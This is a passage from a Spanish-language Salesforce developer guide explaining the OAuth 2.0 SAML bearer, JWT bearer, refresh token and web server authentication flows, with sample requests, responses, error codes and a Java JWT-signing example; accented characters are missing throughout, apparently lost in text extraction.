gY0AMIGJAoGBAJNGcu8nW6xq2l/dAgbJmSfHLGRn+vCuKWY+LAELw+Kerjaj5Dq3ZGW38HR4BmZk
sG3g4eA1RXn1hiZGI1Q6Ei59QE/OZQx2zVSTb7+oIwRcDHEB1+RraYT3LJuh4JwUDVfEj3WgDnTj
E5vD46l/CR5EXf4VL8uo8T40FkA51AhTAgMBAAEwDQYJKoZIhvcNAQEFBQADgYEAehxggY6tBl8x
1SSvCUyUIHvxssAn1AutgZLKWuR1+FXfJzdVdE2F77nrV9YifIERUwhONiS82mBOkKqZZPL1hcKh
KSnFZN2iWmm1sspL73I/eAwVsOUj+bS3v9POo4ceAD/QCCY8gUAInTH0Mq1eOdJMhYKnw/blUyqj
Zn9rajY=
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">test@example.org</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 167

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:SubjectConfirmationData NotOnOrAfter="2013-09-05T19:30:14.654Z"
Recipient="https://login.salesforce.com/services/oauth2/token"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2013-09-05T19:25:14.654Z" NotOnOrAfter="2013-09-05T19:30:14.654Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2013-09-05T19:25:14.655Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>

Uso de afirmaciones de soporte SAML


Debera realizarse una solicitud POST para las afirmaciones de soporte SAML al extremo del token en
https://login.salesforce.com/services/oauth2/token o
https://test.salesforce.com/services/oauth2/token.
Cuando se realice la solicitud POST, debern proporcionarse los siguientes parmetros:
grant_type: urn:ietf:params:oauth:grant-type:saml2-bearer - Obligatorio.
afirmacin: La afirmacin de soporte SAML, con codificacin base64url como se define aqu:
http://tools.ietf.org/html/rfc4648#page-7 - Obligatorio.
Parmetros estndar adicionales:
formato: El formato de la respuesta puede especificarse como en un flujo de OAuth, mediante el parmetro token o un
encabezado de aceptacin HTTP.
mbito: No se permiten mbitos en el flujo. El valor de este parmetro es la combinacin de los mbitos de aprobaciones anteriores.
A continuacin se incluye una solicitud de token de muestra:
POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded
grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Asaml2-bearer&assertion=PHNhbWxwOl...[omitted
for brevity]...ZT

El servidor enva una respuesta


Despus de verificar la solicitud, Salesforce enva una respuesta al cliente. Las respuestas para los tokens del flujo del token de soporte
SAML de OAuth 2.0 siguen el mismo formato que los flujos authorization_code, aunque nunca se emite ningn
refresh_token.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 168

Nota: Una solicitud de afirmacin de soporte SAML de OAuth 2.0 comprueba todas las aprobaciones anteriores para el usuario
que incluyan un refresh_token. Si se encuentran aprobaciones coincidentes, los valores de los mbitos aprobados se
combinan y se emite un access_token (con el valor "token_type" como "Bearer"). Si ninguna aprobacin anterior
incluye un refresh_token, no hay ningn mbito aprobado disponible, por lo que la solicitud falla al no autorizarse.

Errores
Si se produce un error al procesar la afirmacin de soporte SAML, el servidor responde con un mensaje de error de OAuth estndar, que
incluye el error y una descripcin del error con informacin adicional relativa a los motivos por los que el token no se consider vlido.
A continuacin se incluye una respuesta de error de muestra:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"
}

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Flujo del token de soporte JWT de OAuth 2.0


Un token JSON Web (JWT) es una codificacin de token de seguridad basado en JSON que permite
que la informacin de identidad y seguridad se comparta entre los dominios de seguridad.

EDICIONES

El flujo del token de soporte JWT de OAuth 2.0 define cmo se puede utilizar un JWT para solicitar
un token de acceso de OAuth a Salesforce cuando un cliente desee utilizar una autorizacin anterior.
La autenticacin de la aplicacin autorizada se obtiene mediante una firma digital aplicada al JWT.

Disponible en: todas las


ediciones

Puede encontrar explicaciones ms detalladas de un JWT y del flujo del token de soporte JWT de
OAuth en:

PERMISOS DE USUARIO

http://tools.ietf.org/html/draft-ietf-oauth-jwt-bearer

Para gestionar, crear,


modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

http://tools.ietf.org/html/draft-jones-json-web-token

Descripcin general del flujo del token de soporte JWT de OAuth 2.0

El flujo del token de soporte JWT de OAuth 2.0 es similar al flujo de un token de actualizacin dentro
de OAuth. Se realiza una solicitud POST para el JWT al extremo del token de OAuth, que a su vez procesa el JWT y emite un
access_token basndose en la aprobacin anterior de la solicitud. Sin embargo, el cliente no necesita tener o almacenar un
refresh_token ni se necesita un client_secret para transmitirlo al extremo del token.
El flujo de soporte de JWT admite el algoritmo RSA SHA256, que use un certificado cargado como secreto de firma.
El flujo del token de soporte JWT de OAuth 2.0 incluye los siguientes pasos generales:
1. El desarrollador crea una nueva aplicacin conectada o utiliza una ya existente y puede opcionalmente registrar un certificado X509.
Este certificado se corresponde con la clave privada de su aplicacin. Cuando se guarda la aplicacin conectada, la Clave del
consumidor (client_id de OAuth) y la pregunta secreta del consumidor se generan y asignan a la aplicacin.
2. El desarrollador escribe una aplicacin que genera un JWT y lo firma con su certificado.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 169

3. Se realiza una solicitud POST para el JWT al extremo del token


https://login.salesforce.com/services/oauth2/token.

4. El extremo del token valida la firma mediante el certificado registrado por el desarrollador.
5. El extremo del token valida el pblico (aud), el emisor (iss), la validez (exp) y el principal (prn) del JWT.
6. Suponiendo que el JWT es vlido y que el usuario o el administrador ha autorizado previamente la aplicacin, Salesforce emite un
access_token.
Nota: En este flujo no se emite nunca un refresh_token.

Creacin de un token de soporte JWT


El desarrollador debe crear un token de soporte JWT vlido que cumpla con RSA SHA256 segn las siguientes reglas.
El emisor (iss) debe ser el client_id de OAuth o la aplicacin conectada para la que el desarrollador registr el certificado.
El pblico (aud) debe ser https://login.salesforce.com o https://test.salesforce.com.
El principal (prn) debe ser el nombre de usuario del usuario de Salesforce que desee. Puede usar el asunto (sub) en vez de (prn).
Si se especifican ambos, se utiliza prn.
La validez (exp) debe ser el plazo de vencimiento de la afirmacin, en cinco minutos, expresado como el nmero de segundos
desde 1970-01-01T0:0:0Z segn la zona horaria UTC.
El JWT debe firmarse mediante RSA SHA256.
El JWT debe cumplir las reglas generales de formato especificadas aqu:
http://tools.ietf.org/html/draft-jones-json-web-token.

Para crear un token de soporte JWT, haga lo siguiente:


1. Cree un encabezado de JWT con el siguiente formato: {"alg":"RS256"}.
2. Base64url codifica el encabezado de JWT como se define aqu: http://tools.ietf.org/html/rfc4648#page-7. El
resultado debera tener una apariencia similar a la siguiente: eyJhbGciOiJSUzI1NiJ9.
3. Cree un conjunto de solicitudes de JSON para el JWT con iss, prn, aud y exp:
{"iss": "3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQ
ukXnVjzRgSuQqGn75NL7yfkQcyy7",
"prn": "Pierre_Delacroix@SeattleApps.com",
"aud": "https://login.salesforce.com",
"exp": "1333685628"}

4. Base64url codifica el conjunto de solicitudes de JWT. Por ejemplo:


eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoO
UFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsIC
Jwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnbWFpbC5jb20iLCAiYXVkIjogImh0dHB
zOi8vbG9naW4uc2FsZXNmb3JjZS5jb20iLCAiZXhwIjogIjEzMzM2ODU2MjgifQ

5. Cree una nueva cadena para el encabezado de JWT codificado y el conjunto de solicitudes de JWT codificado con este formato:
encoded_JWT_Header + "." + encoded_JWT_Claims_Set

En el siguiente ejemplo, el encabezado de JWT codificado est resaltado:


eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa
3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3V

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 170

RcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnb
WFpbC5jb20iLCAiYXVkIjogImh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20
iLCAiZXhwIjogIjEzMzM2ODU2MjgifQ

6. Firme la cadena resultante mediante SHA256 con RSA.


7. Cree una nueva cadena a partir de la cadena de este paso con el siguiente formato:
existing_string + "." + base64_encoded_signature

En el siguiente ejemplo, el principio de la firma con codificacin base64 est resaltado:


eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4
bm1BaUcxeFY0b0hoOUFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5Z
mtRY3l5NyIsICJwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnbWFpbC5jb20iLCAiYXVkIj
ogImh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20iLCAiZXhwIjogIjEzMzM2ODU2Mjg
ifQ.iYCthqWCQucwi35yFs-nWNgpF5NA_a46fXDTNIY8ACko6BaEtQ9E6h4Hn1l_pcwcK
I_GlmfUO2dJDg1A610t09TeoPagJsZDm_H83bsoZUoI8LpAA1s-2aj_Wbysqb1j4uDToz
480WtEbkwIv09sIeS_-QuWak2RXOl1Krnf72mpVGS4WWSULodgNzlKHHyjAMAHiBHIDNt
36y2L2Bh7M8TNWiKa_BNM6s1FNKDAwHEWQrNtAeReXgRy0MZgQY2rZtqT2FcDyjY3JVQb
En_CSjH2WV7ZlUwsKHqGfI7hzeEvVdfOjH9NuaJozxvhPF489IgW6cntPuT2V647JWi7ng

El siguiente Java es un ejemplo sencillo de cmo crear un token de soporte JWT:


import
import
import
import

org.apache.commons.codec.binary.Base64;
java.io.*;
java.security.*;
java.text.MessageFormat;

public class JWTExample {


public static void main(String[] args) {
String header = "{\"alg\":\"RS256\"}";
String claimTemplate = "'{'\"iss\": \"{0}\", \"prn\": \"{1}\", \"aud\": \"{2}\",
\"exp\": \"{3}\"'}'";
try {
StringBuffer token = new StringBuffer();
//Encode the JWT Header and add it to our string to sign
token.append(Base64.encodeBase64URLSafeString(header.getBytes("UTF-8")));
//Separate with a period
token.append(".");
//Create the JWT Claims Object
String[] claimArray = new String[4];
claimArray[0] =
"3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQukXnVjzRgSuQqGn75NL7yfkQcyy7";
claimArray[1] = "Pierre_Delacroix@SeattleApps.com";
claimArray[2] = "https://login.salesforce.com";
claimArray[3] = Long.toString( ( System.currentTimeMillis()/1000 ) + 300);
MessageFormat claims;
claims = new MessageFormat(claimTemplate);
String payload = claims.format(claimArray);

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 171

//Add the encoded claims object


token.append(Base64.encodeBase64URLSafeString(payload.getBytes("UTF-8")));
//Load the private key from a keystore
KeyStore keystore = KeyStore.getInstance("JKS");
keystore.load(new FileInputStream("./path/to/keystore.jks"),
"keystorepassword".toCharArray());
PrivateKey privateKey = (PrivateKey) keystore.getKey("certalias",
"privatekeypassword".toCharArray());
//Sign the JWT Header + "." + JWT Claims Object
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(token.toString().getBytes("UTF-8"));
String signedPayload = Base64.encodeBase64URLSafeString(signature.sign());
//Separate with a period
token.append(".");
//Add the encoded signature
token.append(signedPayload);
System.out.println(token.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}

Uso de un token de soporte JWT


Debera realizarse una solicitud POST para los tokens de soporte JWT al extremo del token en
https://login.salesforce.com/services/oauth2/token o
https://test.salesforce.com/services/oauth2/token.
Cuando se publique, se requieren los siguientes parmetros:
grant_type: urn:ietf:params:oauth:grant-type:jwt-bearer.
afirmacin: El token de soporte JWT, con codificacin base64url.
Parmetros estndar adicionales:
formato: El formato de la respuesta puede especificarse como en un flujo de OAuth, mediante el parmetro token o un
encabezado de aceptacin HTTP.
mbito: No se permiten mbitos en el flujo. El valor de este parmetro es la combinacin de los mbitos de aprobaciones anteriores.
A continuacin se incluye una solicitud de token de muestra:
POST /services/oauth2/token HTTP/1.1
Host: login.example.com
Content-Type: application/x-www-form-urlencoded
grant_type=

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 172

urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=PHNhbWxwOl...[omitted for
brevity]...ZT

El servidor valida el token


Despus de verificar la solicitud, Salesforce enva una respuesta al cliente. Las respuestas para los tokens del flujo del token de soporte
JWT de OAuth 2.0 siguen el mismo formato que los flujos authorization_code, aunque nunca se emite ningn refresh_token.
Una solicitud de afirmacin de soporte JWT de OAuth 2.0 comprueba todas las aprobaciones anteriores para el usuario que incluyan un
refresh_token. Si se encuentran aprobaciones coincidentes, los valores de los mbitos aprobados se combinan y se emite un
access_token (con el valor "token_type" como "Bearer"). Si ninguna aprobacin anterior incluye un refresh_token,
no hay ningn mbito aprobado disponible, por lo que la solicitud falla al no autorizarse.

Errores
Si se produce un error al procesar el token de soporte JWT, el servidor responde con un mensaje de error de OAuth estndar, que incluye
el error y una descripcin del error con informacin adicional relativa a los motivos por los que el token no se consider vlido. A
continuacin se incluye una respuesta de error de muestra:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"
}

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Flujo de token de actualizacin de OAuth 2.0


Cuando el cliente haya autorizado el acceso, puede usar un token de actualizacin para obtener
un nuevo token de acceso (Id. de sesin). Esto solo se consigue cuando el consumidor ya ha recibido
un token de actualizacin con el servidor Web o el flujo de agente de usuario. Depende del
consumidor determinar si un token de acceso ya no es vlido y cundo debe solicitar uno nuevo.
Solo se pueden utilizar los flujos de soporte despus de que el consumidor haya recibido un token
de actualizacin.
A continuacin se enumeran los pasos del flujo de autenticacin del token de actualizacin. Ms
informacin acerca de cada paso:
1. El consumidor utiliza el token de actualizacin existente para solicitar un nuevo token de acceso.
2. Despus de verificar la solicitud, Salesforce enva una respuesta al cliente.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Solicitud de un token de acceso actualizado por parte del consumidor


Un consumidor puede utilizar el token de actualizacin para obtener una nueva sesin cuando sea
necesario.
El consumidor debe realizar una solicitud de PUBLICACIN en el extremo del token, con los siguientes parmetros:
grant_type: el valor debe ser refresh_token para este flujo.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 173

refresh_token: token de actualizacin del paso de aprobacin.


client_id: clave del consumidor de la definicin de aplicacin conectada.
client_secret: clave del consumidor de la definicin de aplicacin conectada. Este parmetro es opcional.
client_assertion: En lugar de transferir client_secret, puede elegir proporcionar client_assertion y
client_assertion_type. Si un parmetro client_secret no se proporciona, Salesforce busca client_assertion
y client_assertion_type automticamente.
El valor de client_assertion debe ser un token de soporte JWT habitual, firmado con la clave privada asociada con el
certificado cargado del consumidor de OAuth. Actualmente, solo se admite el algoritmo RS256. Para obtener ms informacin acerca
del uso de client_assertion, consulte las especificaciones de conexin OpenID para el mtodo de autenticacin de cliente
de private_key_jwt.
client_assertion_type: Proporciona este valor cuando utiliza el parmetro client_assertion.
El valor de client_assertion_type debe ser
urn:ietf:params:oauth:client-assertion-type:jwt-bearer.

format: formato de respuesta esperado. Este parmetro es opcional. El valor predeterminado es json. Los valores son:
urlencoded
json
xml
El siguiente ejemplo es el cuerpo de la PUBLICACIN fuera de banda al extremo de token:
POST /services/oauth2/token HTTP/1.1
Host: https://login.salesforce.com/
grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0
QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571
&refresh_token=your token here

En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato que se devuelve en un encabezado de
solicitud de aceptacin utilizando uno de los siguientes:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded

El servidor de Salesforce enva una respuesta


Despus de verificar la solicitud, Salesforce enva una respuesta al cliente. Los siguientes parmetros se encuentran en el cuerpo de la
respuesta:
access_token: Id. de sesin de Salesforce que se puede utilizar con los servicios Web de API.
token_type: El valor es Soporte para todas las respuestas que influyen un token de acceso.
instance_url: URL que indica la instancia de la organizacin del usuario. En este ejemplo, la instancia es na1:
https://na1.salesforce.com.
id: URL de identidad que se puede utilizar para identificar al usuario y como consulta para obtener ms informacin acerca del
usuario. Consulte URL de identidad en la pgina 191.
sfdc_community_url: si el usuario es un miembro de una comunidad de Salesforce, se indica la URL de la comunidad.
sfdc_community_id: si el usuario es un miembro de una comunidad de Salesforce, se indica el Id. de la comunidad.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 174

signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
A continuacin se incluye un ejemplo de respuesta JSON de Salesforce:
{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448384422","instance_url":"https://na1.salesforce.com",
"signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMgqYtu+hDPsc=",
"access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T
rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}

A continuacin se incluye un ejemplo de respuesta XML:


<Oauth>
<access_token>00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNB
aT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4
</access_token>
<token_type>Bearer
</token_type>
<scope>id api refresh_token
</scope>
<instance_url>https://na1.salesforce.com</instance_url>
<id>https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P</id>
<issued_at>1278448101416</issued_at>
<signature>CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe+fVg=</signature>
</Oauth>

A continuacin se incluye un ejemplo de URL cifrada:


access_token=00Dx0000000BV7z%21AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7TrqoDjoNIWQ2
ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4
&token_type=Bearer&scope=id%20api%20refresh_token
&instance_url=https%3A%2F%2Fna1.salesforce.com
&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx0000000BV7z%2F005x00000012Q9P
&issued_at=1278448101416
&signature=CMJ4l%2BCCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe%2BfVg%3D

Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_client_credentials: secreto de cliente no vlido.
invalid_request: tipo de secreto no compatible.
invalid_grant: token de acceso/actualizacin expirado.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
inactive_user: el usuario est inactivo.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 175

inactive_org: la organizacin est bloqueada, cerrada o suspendida.


rate_limit_exceeded: se ha superado el nmero de inicios de sesin.
invalid_scope: el mbito solicitado no es vlido, es desconocido o defectuoso
Todo error de inicio de sesin que no aparezca recibe un fallo de autenticacin genrico que describe el error. Por ejemplo,
LOGIN_ERROR_INVALID_PASSWORD tendr la siguiente respuesta de error:
{"error":"authentication_failure","error_description":"invalid password"}

A continuacin se incluye un ejemplo de una respuesta de error:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Flujo de autenticacin del servidor Web OAuth 2.0


Las aplicaciones albergadas en un servidor seguro utilizan el flujo de autenticacin del servidor
Web. Un aspecto esencial del flujo del servidor Web es que un servidor debe poder proteger el
secreto del consumidor.
A continuacin siguen descripciones de paso individual.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

1. El servidor Web redirige al usuario a Salesforce para autenticar y autorizar el servidor a los datos de acceso en su nombre.
2. Despus de que el usuario apruebe el acceso, el servidor Web recibe una llamada con un cdigo de autorizacin.
3. Tras obtener el cdigo de autorizacin, el servidor Web transmite el cdigo de autorizacin para obtener una respuesta del token.
4. Tras validar el cdigo de autorizacin, Salesforce transmite una respuesta del token. Si no se ha producido ningn error, el token de
respuesta incluye un cdigo de acceso e informacin adicional.
5. Despus de conceder el token, el servidor Web accede a sus datos.
Cuando el servidor Web tenga un token de acceso, podr utilizar el token de acceso para acceder a los datos de Salesforce en nombre
del usuario final y utilizar un token de actualizacin para obtener un nuevo token de acceso si se invalida por algn motivo.

Redireccin de un usuario para obtener autorizacin de acceso


Para obtener autorizacin del usuario para acceder a los datos de Salesforce en su nombre, el cliente redirige el explorador del usuario
al extremo de la autorizacin con los siguientes parmetros:
response_type: el valor debe ser code para este flujo.
client_id: clave del consumidor de la definicin de aplicacin conectada.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 176

scope: El parmetro scope le permite ajustar a lo que puede acceder la aplicacin cliente en una organizacin Salesforce. Consulte
Valores de parmetros de mbito en la pgina 187 para conocer los parmetros vlidos.
redirect_uri: URI a la que redirigir al usuario tras su aprobacin. Debe coincidir con el valor del campo URL de devolucin
de llamada en la definicin de la aplicacin conectada exactamente o fallar la aprobacin. Este valor debe tener codificacin
de URL.
state: cualquier estado que el consumidor quiera reflejar tras su aprobacin, durante la devolucin de llamada. Este parmetro
es opcional. Este valor debe tener codificacin de URL.
immediate: determina si se debe solicitar al usuario para el inicio de sesin y la aprobacin. Este parmetro es opcional. El valor
debe ser verdadero o falso, si se especifica. El valor predeterminado es falso. Tenga en cuenta lo siguiente:
Si se establece a verdadero, y si el usuario est registrado actualmente y ha aprobado previamente client_id, Salesforce
omitir el paso de la aprobacin.
Si se establece a verdadero y el usuario no est registrado o no ha aprobado previamente al cliente, Salesforce finalizar
inmediatamente con el cdigo de error immediate_unsuccessful.
Nota: Esta opcin no est disponible para Comunidades.
display: cambia el tipo de visualizacin de la pgina de inicio de sesin y de autorizacin. Este parmetro es opcional. Los nicos
valores que admite Salesforce son:
page: pantalla de autorizacin de pgina completa Es el valor predefinido si no se especifica ninguno.
popup: cuadro de dilogo compacto optimizado para ventanas emergentes de explorador Web moderno.
touch: cuadro de dilogo optimizado para aplicaciones mviles diseado para smartphones modernos, como Android e
iPhone.
mobile: cuadro de dilogo optimizado para aplicaciones mviles diseado para smartphones menos modernos, como BlackBerry
OS 5.
login_hint: Proporciona un valor de nombre de usuario vlido con este parmetro para cumplimentar previamente la pgina
de inicio de sesin con el nombre de usuario. Por ejemplo: login_hint=username@company.com. Si un usuario ya tiene
una sesin activa en el navegador y por lo tanto el parmetro login_hint es nada, la sesin de usuario activa contina.
valor instantneo: Opcional con el mbito openid para obtener un token de Id. de usuario. El valor se devuelve en la
respuesta y es til para detectar ataques de "nueva reproduccin".
promptEspecifica cmo el servidor de autorizacin solicita al usuario una reaprobacin y reautenticacin. Este parmetro es
opcional. Los nicos valores que admite Salesforce son:
loginEl servidor de autorizacin debe solicitar al usuario la reautenticacin, forzando as el usuario a volver a iniciar sesin.
consentEl servidor de autorizacin debe solicitar al usuario una reaprobacin antes de devolver informacin al cliente.
Se pueden introducir ambos valores, separados por un espacio, para solicitar al usuario tanto iniciar sesin como volver a autorizarse.
Por ejemplo:
?prompt=login%20consent

Para iniciar el flujo, el servidor Web suele formar un vnculo o enva una redireccin de HTTP al explorador. A continuacin se incluye un
ejemplo de una solicitud a un extremo de autorizacin desde un cliente de servidor Web:
https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id=
3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA
9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 177

Si el usuario ha iniciado sesin, Salesforce le redirige a la pgina de aprobacin. Si el usuario no ha iniciado sesin, se le solicitar que lo
haga y, a continuacin, se le redirigir a la pgina de aprobacin en la que se concede acceso a la aplicacin. Si el usuario ya ha aprobado
el acceso una vez, no necesitar volver a hacerlo.

Recepcin de devolucin de llamada por parte del servidor Web


Si el usuario aprueba el acceso, se le redirigir a la URI especificada en redirect_uri con los siguientes valores en la cadena de
consulta:
code: cdigo de autorizacin que debe utilizar el consumidor para obtener los tokens de acceso y actualizacin.
state: estado transmitido en el paso de aprobacin. No se incluye si el parmetro state no se ha incluido en la cadena de
consulta original.
Si el usuario ya ha aprobado el acceso una vez, no necesitar volver a hacerlo.
A continuacin se incluye un ejemplo de la solicitud recibida por redirect_uri:
https://www.mysite.com/code_callback.jsp?code=aPrxsmIEeqM9&state=mystate

Si el usuario deniega la aplicacin, se le redirigir a la redirect_uri con los siguientes valores en la cadena de consulta:
error: el valor es access_denied.
state: estado transmitido en el paso de aprobacin. No se incluye si el parmetro state no se ha incluido en la cadena de
consulta original.
Por ejemplo:
https://www.mysite.com/code_callback.jsp?error=access-denied&state=mystate

Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP GET.
access_denied: autorizacin denegada del usuario final.
redirect_uri_missing: uri de redireccin no proporcionada.
redirect_uri_mismatch: uri de redireccin no coincidente con la definicin de la aplicacin conectada.
immediate_unsuccessful: inmediato incorrecto
invalid_scope: el mbito solicitado no es vlido, es desconocido o defectuoso
state: estado transmitido en el paso de aprobacin. No se incluye si el parmetro state no se ha incluido en la cadena de
consulta original.

Intercambio del cdigo de verificacin y el token de acceso por parte del servidor Web
Tras obtener el cdigo de autorizacin, el servidor Web intercambia el cdigo de autorizacin por un token de acceso.
El consumidor debe realizar una PUBLICACIN directamente en el extremo del token, con los siguientes parmetros:
grant_type: el valor debe ser authorization_code para este flujo.
client_id: clave del consumidor de la definicin de aplicacin conectada.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 178

client_secret: clave del consumidor de la definicin de aplicacin conectada.


client_assertion: En lugar de transferir client_secret, puede elegir proporcionar client_assertion y
client_assertion_type. Si un parmetro client_secret no se proporciona, Salesforce busca client_assertion
y client_assertion_type automticamente.
El valor de client_assertion debe ser un token de soporte JWT habitual, firmado con la clave privada asociada con el
certificado cargado del consumidor de OAuth. Actualmente, solo se admite el algoritmo RS256. Para obtener ms informacin acerca
del uso de client_assertion, consulte las especificaciones de conexin OpenID para el mtodo de autenticacin de cliente
de private_key_jwt.
client_assertion_type: Proporciona este valor cuando utiliza el parmetro client_assertion.
El valor de client_assertion_type debe ser
urn:ietf:params:oauth:client-assertion-type:jwt-bearer.

redirect_uri: URI a la que redirigir al usuario tras su aprobacin. Debe coincidir con el valor del campo URL de devolucin
de llamada en la definicin de la aplicacin conectada exactamente y es el mismo valor que el enviado por la redireccin inicial.
Consulte Redireccin de un usuario para obtener autorizacin de acceso en la pgina 175.
code: cdigo de autorizacin obtenido de la llamada tras su aprobacin.
format: formato de respuesta esperado. Este parmetro es opcional. El valor predeterminado es json. Los valores son:
urlencoded
json
xml
A continuacin se incluye un ejemplo del cuerpo de la PUBLICACIN enviada fuera de banda:
POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
